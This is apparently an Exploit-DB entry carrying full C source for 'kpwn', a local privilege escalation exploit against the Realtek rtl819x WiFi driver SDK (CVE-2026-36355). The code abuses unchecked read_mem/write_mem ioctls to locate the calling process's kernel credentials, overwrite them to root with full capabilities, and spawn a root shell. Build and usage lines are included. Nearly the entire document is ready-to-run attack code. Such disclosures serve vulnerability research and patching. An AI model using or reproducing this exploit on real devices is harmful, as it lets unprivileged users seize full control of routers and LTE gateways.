Realtek rtl819x - Local Privilege

EDB-ID:

52580




Platform:

Linux

Date:

2026-05-27


 * Exploit Title: Realtek rtl819x  - Local Privilege Escalation 
 * Date: 2026-05-03
 * Exploit Author: Daniil Gordeev
 * Vendor Homepage: http://www.realtek.com
 * Software Link: https://github.com/iptime-gpl/userapps_n104qi (representative GPL release)
 * Version: Realtek rtl819x Jungle SDK, all known versions through v3.4.14B
 * Tested on: Linux 3.18.48, ARMv7 Cortex-A7, Qualcomm MDM9607, rtl8192es.ko (MeiG FORGE_SLT711 / Ortel 4G LTE CPE)
 * CVE: CVE-2026-36355
 *
 * kpwn - RTL8192CD kernel LPE exploit
 *
 * Exploits missing capability checks on ioctl 0x89F5/0x89F6 (write_mem/read_mem)
 * in the Realtek rtl819x out-of-tree WiFi driver SDK.
 *
 * Runs as ANY unprivileged user — no root needed at any stage.
 * Auto-detects task_struct offsets from init_task.
 *
 * Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK
 * Chips: RTL8192C/D/E, RTL8188E, RTL8812, RTL8881A, RTL8197F, etc.
 *
 * Build: arm-linux-gnueabi-gcc -static -O2 -o tools/kpwn tools/kpwn.c
 * Usage: /tmp/kpwn  (any user, GID 3003/inet on paranoid kernels)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dirent.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/wireless.h>

#define IOCTL_WRITE  0x89F5   /* SIOCDEVPRIVATE+5: write_mem */
#define IOCTL_READ   0x89F6   /* SIOCDEVPRIVATE+6: read_mem  */

/* kernel .data scan range for init_task (ARM, no KASLR) */
#define DATA_SCAN_START  0xC0800000
#define DATA_SCAN_END    0xC1000000

static int sockfd = -1;
static int nioctls = 0;
static char ifname[IFNAMSIZ];

/* ---- kernel R/W primitives ---- */

static int kread(unsigned long addr, void *out, int ndw)
{
    struct iwreq wrq;
    char buf[256];

    if (ndw > 32) ndw = 32;
    snprintf(buf, sizeof(buf), "dw,%lx,%x", addr, ndw);

    memset(&wrq, 0, sizeof(wrq));
    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
    wrq.u.data.pointer = buf;
    wrq.u.data.length = strlen(buf) + 1;

    if (ioctl(sockfd, IOCTL_READ, &wrq) < 0)
        return -1;

    nioctls++;
    int n = wrq.u.data.length;
    if (n > 0 && out)
        memcpy(out, buf, n > 128 ? 128 : n);
    return n;
}

static unsigned int kread32(unsigned long addr)
{
    unsigned int v = 0;
    kread(addr, &v, 1);
    return v;
}

static int kfill(unsigned long addr, int ndw, unsigned int val)
{
    struct iwreq wrq;
    char buf[256];

    snprintf(buf, sizeof(buf), "dw,%lx,%x,%x", addr, ndw, val);

    memset(&wrq, 0, sizeof(wrq));
    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
    wrq.u.data.pointer = buf;
    wrq.u.data.length = strlen(buf) + 1;

    if (ioctl(sockfd, IOCTL_WRITE, &wrq) < 0)
        return -1;

    nioctls++;
    return 0;
}

/* ---- find vulnerable interface ---- */

static int find_interface(void)
{
    DIR *d = opendir("/sys/class/net");
    if (!d) return -1;

    struct dirent *e;
    unsigned int probe;
    while ((e = readdir(d))) {
        if (e->d_name[0] == '.' || strcmp(e->d_name, "lo") == 0)
            continue;
        strncpy(ifname, e->d_name, IFNAMSIZ - 1);
        probe = 0;
        if (kread(0xC0008000, &probe, 1) > 0 && probe != 0) {
            closedir(d);
            return 0;
        }
    }
    closedir(d);
    return -1;
}

/* ---- resolve init_task ---- */

static unsigned long scan_for_init_task(void)
{
    /*
     * Brute-force: scan kernel .data for init_task.comm = "swapper".
     * Validate by checking cred pointer (must dereference to uid=0, gid=0).
     *
     * The returned base doesn't need to be exact — detect_offsets finds
     * all field positions relative to the base, and the math in find_task
     * and the overwrite phase uses (base + offset) pairs where any constant
     * shift cancels out. We just need "swapper" to land within the
     * detect_offsets search window (0x200-0x5F0 from returned base).
     */
    unsigned char buf[128];
    unsigned long addr;

    printf("[*] Scanning .data for init_task...\n");

    for (addr = DATA_SCAN_START; addr < DATA_SCAN_END; addr += 128) {
        if (kread(addr, buf, 32) <= 0)
            continue;

        int j;
        for (j = 0; j <= 128 - 7; j += 4) {
            if (memcmp(buf + j, "swapper", 7) != 0)
                continue;

            unsigned long comm_addr = addr + j;

            /* validate: cred pointer just before comm → {usage, uid=0, gid=0} */
            unsigned int cred_ptr;
            if (kread(comm_addr - 4, &cred_ptr, 1) <= 0)
                continue;
            if ((cred_ptr & 0xC0000000) != 0xC0000000 || cred_ptr == 0xFFFFFFFF)
                continue;

            unsigned int chk[3];
            if (kread(cred_ptr, chk, 3) <= 0)
                continue;
            if (chk[0] < 1 || chk[0] >= 10000)  /* usage refcount */
                continue;
            if (chk[1] != 0 || chk[2] != 0)      /* uid=0, gid=0 */
                continue;

            /*
             * Return comm_addr - 0x400 as base. This places comm at
             * offset 0x400 in the detect_offsets window (well within
             * the 0x200-0x5F0 search range). The base doesn't need
             * to be the true struct start — all offset math cancels.
             */
            unsigned long base = comm_addr - 0x400;
            printf("[+] scan: comm @ 0x%08lx, base 0x%08lx\n", comm_addr, base);
            return base;
        }
    }
    return 0;
}

static unsigned long resolve_init_task(void)
{
    return scan_for_init_task();
}

/* ---- auto-detect task_struct layout ---- */

struct offsets { unsigned long tasks, pid, cred, comm; };

static int detect_offsets(unsigned long init, struct offsets *o)
{
    unsigned char data[0x600];
    int i;

    /* bulk-read init_task (12 reads, 128 bytes each) */
    for (i = 0; i < 0x600; i += 128)
        if (kread(init + i, data + i, 32) <= 0) {
            printf("[-] Read init_task+0x%x failed\n", i);
            return -1;
        }

    /* comm: find "swapper" string — unique, most reliable anchor */
    o->comm = 0;
    for (i = 0x200; i < 0x5F0; i += 4)
        if (memcmp(data + i, "swapper", 7) == 0) { o->comm = i; break; }
    if (!o->comm) {
        printf("[-] 'swapper' not found in init_task\n");
        return -1;
    }

    /* cred: kernel pointer just before comm → dereferences to {usage, uid=0, gid=0} */
    o->cred = 0;
    for (i = o->comm - 4; i >= (int)o->comm - 16; i -= 4) {
        unsigned int val = *(unsigned int *)(data + i);
        if ((val & 0xC0000000) == 0xC0000000 && val != 0xFFFFFFFF) {
            unsigned int chk[3];
            if (kread(val, chk, 3) > 0 &&
                chk[0] >= 1 && chk[0] < 10000 &&
                chk[1] == 0 && chk[2] == 0) {
                o->cred = i;
                break;
            }
        }
    }
    if (!o->cred) {
        printf("[-] Cred pointer not found near comm\n");
        return -1;
    }

    /* tasks: non-self-referencing list_head with valid chain and printable comm at next */
    o->tasks = 0;
    for (i = 0x100; i < 0x300; i += 4) {
        unsigned int next = *(unsigned int *)(data + i);
        unsigned int prev = *(unsigned int *)(data + i + 4);
        if ((next & 0xC0000000) != 0xC0000000 || next == 0xFFFFFFFF) continue;
        if ((prev & 0xC0000000) != 0xC0000000 || prev == 0xFFFFFFFF) continue;
        if (next == (unsigned int)(init + i)) continue;

        unsigned int nn = kread32(next);
        if ((nn & 0xC0000000) != 0xC0000000) continue;

        unsigned long next_base = (unsigned long)next - i;
        char tc[8] = {0};
        if (kread(next_base + o->comm, tc, 2) > 0 &&
            tc[0] >= 0x20 && tc[0] < 0x7F) {
            o->tasks = i;
            break;
        }
    }
    if (!o->tasks) {
        printf("[-] Tasks list_head not found\n");
        return -1;
    }

    /* pid: 0 in init_task, cross-verified against two other tasks (different PIDs) */
    o->pid = 0;
    unsigned int tasks_next = *(unsigned int *)(data + o->tasks);
    unsigned long first_base = (unsigned long)tasks_next - o->tasks;
    unsigned int second_ptr = kread32(tasks_next);
    unsigned long second_base = (unsigned long)second_ptr - o->tasks;

    for (i = o->tasks + 0x20; i < (int)o->comm - 0x20; i += 4) {
        if (*(unsigned int *)(data + i) != 0) continue;
        if (*(unsigned int *)(data + i + 4) != 0) continue;   /* pid=0 AND tgid=0 */
        unsigned int p1 = kread32(first_base + i);
        if (p1 == 0 || p1 >= 32768) continue;
        unsigned int p2 = kread32(second_base + i);
        if (p2 == 0 || p2 >= 32768) continue;
        if (p1 == p2) continue;
        o->pid = i;
        break;
    }
    if (!o->pid) {
        printf("[-] PID offset not found\n");
        return -1;
    }

    return 0;
}

/* ---- walk task list backward (newest first, 1 ioctl per task) ---- */

static unsigned long find_task(unsigned long init, struct offsets *o,
                               pid_t pid, int *walked)
{
    unsigned long head = init + o->tasks;
    unsigned int buf[32];
    unsigned long cur;
    int batch = 0;
    int span = 0;
    *walked = 0;

    /* if pid and tasks fit in one 32-dword read, batch them */
    if (o->pid > o->tasks) {
        span = (o->pid - o->tasks) / 4 + 1;
        if (span <= 32) batch = 1;
    }

    /* walk backward: tasks.prev (offset +4) points to newest task */
    cur = kread32(head + 4);

    for (int i = 0; i < 512; i++) {
        if (cur == head || cur == 0)
            break;

        unsigned long base = cur - o->tasks;
        unsigned int p;
        unsigned long prev;

        if (batch) {
            /* single read gets tasks.next, tasks.prev, and pid */
            if (kread(cur, buf, span) <= 0) break;
            prev = buf[1];    /* tasks.prev = next older task */
            p = buf[(o->pid - o->tasks) / 4];
        } else {
            /* fallback: two individual reads */
            p = kread32(base + o->pid);
            prev = kread32(cur + 4);
        }

        (*walked)++;
        if (p == (unsigned int)pid)
            return base;
        cur = prev;
    }
    return 0;
}

/* ---- main ---- */

int main(void)
{
    uid_t orig_uid = getuid();
    gid_t orig_gid = getgid();
    pid_t pid = getpid();

    printf("kpwn \xe2\x80\x94 RTL8192CD kernel LPE\n");
    printf("uid=%u gid=%u pid=%d\n\n", orig_uid, orig_gid, pid);

    /* socket */
    printf("[*] Creating socket...\n");
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        if (errno == EACCES)
            printf("[-] Need GID 3003 (inet) on paranoid kernels\n");
        return 1;
    }

    /* find vulnerable interface */
    printf("[*] Scanning interfaces...\n");
    if (find_interface() < 0) {
        printf("[-] No rtl819x interface found\n");
        return 1;
    }
    printf("[+] %s — read primitive confirmed\n", ifname);

    /* resolve init_task */
    printf("[*] Resolving init_task...\n");
    unsigned long init = resolve_init_task();
    if (!init) {
        printf("[-] init_task not found\n");
        return 1;
    }
    printf("[+] init_task @ 0x%08lx\n", init);

    /* auto-detect offsets */
    printf("[*] Detecting task_struct layout...\n");
    struct offsets o;
    if (detect_offsets(init, &o) < 0)
        return 1;
    printf("[+] comm=0x%03lx cred=0x%03lx tasks=0x%03lx pid=0x%03lx\n",
           o.comm, o.cred, o.tasks, o.pid);

    /* find our task_struct */
    printf("[*] Searching for pid %d...\n", pid);
    int walked = 0;
    unsigned long task = find_task(init, &o, pid, &walked);
    if (!task) {
        printf("[-] pid %d not found (%d tasks walked)\n", pid, walked);
        return 1;
    }

    /* read and verify cred (batched: cred+comm in one read, uid+gid in one read) */
    unsigned int info[5];
    char *comm;
    unsigned long cred;
    unsigned int k_uid, k_gid;

    kread(task + o.cred, info, 5);    /* cred ptr + 16 bytes of comm */
    cred = info[0];
    comm = (char *)&info[1];

    unsigned int uids[2];
    kread(cred + 0x04, uids, 2);     /* uid + gid */
    k_uid = uids[0];
    k_gid = uids[1];

    printf("[+] task=0x%08lx comm=\"%s\" (%d walked)\n", task, comm, walked);
    printf("[+] cred=0x%08lx uid=%u gid=%u\n", cred, k_uid, k_gid);

    if (k_uid != orig_uid) {
        printf("[-] uid mismatch: kernel=%u userspace=%u\n", k_uid, orig_uid);
        return 1;
    }

    /* overwrite cred -> root (2 ioctls: zero uids + fill all caps) */
    printf("[*] Overwriting credentials...\n");
    kfill(cred + 0x04, 9, 0);                 /* uid..fsgid + securebits = 0 */
    kfill(cred + 0x28, 8, 0xFFFFFFFF);        /* cap_{inheritable,permitted,effective,bset} = full */

    if (getuid() != 0) {
        printf("[-] FAILED \xe2\x80\x94 uid still %d after overwrite\n", getuid());
        return 1;
    }

    printf("[+] uid=%d euid=%d gid=%d egid=%d\n\n",
           getuid(), geteuid(), getgid(), getegid());
    printf("*** GOT ROOT *** uid=%u -> %d (%d ioctls)\n\n", orig_uid, getuid(), nioctls);

    execl("/bin/sh", "sh", NULL);
    printf("[-] execl: %s\n", strerror(errno));
    return 1;
}